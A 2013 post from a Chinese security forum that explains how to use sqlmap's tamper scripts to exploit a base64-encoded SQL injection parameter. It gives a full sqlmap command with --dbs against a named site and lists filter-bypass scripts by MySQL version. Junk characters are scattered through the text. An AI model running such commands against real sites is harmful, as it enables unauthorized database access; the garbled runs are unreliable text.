找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2165|回复: 0
打印 上一主题 下一主题

SQlMap Tamper注入Base64编码注入点

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 15:50:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?
, U* `; ]1 E" Y" T& C  K$ V- [5 o; L8 W
sqlmap的tamper里有个base64encode.py
: P# z- d) h; K) A- e
# J4 C  H, J4 o. s) J使用如下
# K& Y% o$ o: u* Z1 Y! O
2 w4 X' i$ g- \# h; p% j; B( jsqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
$ `# u9 E' i7 Z0 m* a* g/ j( d! Q+ _% D  Z  X, g/ Y  T
6 V+ R" @; s0 t5 w1 {: P
sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”; S7 Q$ ^5 R6 A6 a

, V' ~6 y6 \' F" F' d其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
6 R0 ~, a# F1 v9 K# p" g
2 K6 x4 X7 V# U( c& O0 a# k7 ~% [space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
# b+ ]- B% ~5 x( D+ \" y/ Y: pspace2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入% C1 w# D' Y" W8 c+ }. T
首先确定目标数据库版本,然后选择相应的脚本。
: I2 N" A: t2 x( h-v 3 --batch --tamper "space2hash.py"
9 j  _9 \0 C2 h$ P; u3 w8 N! X; r
& Y% Y6 H/ V* d- Y' v4 u3 E8 s: [' h8 r还有其他一些插件:
& ~0 H2 e! m1 {- Y: uencodes编码 ——charencode.py
, G" E- f. b9 E. ]3 mbase64编码 —— base64encode.py- T1 |6 A; T. |, d0 m
替换空格和关键字 —— halfversionedmorekeywords.py
, Q% @3 A' C! C/ P: f9 S' W

  \& G& `7 P5 D! ]
) Q2 v9 [4 N7 _3 y0 j
) j" v* t# c, ?+ M* U3 Q% \# J3 H- Y8 {. U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表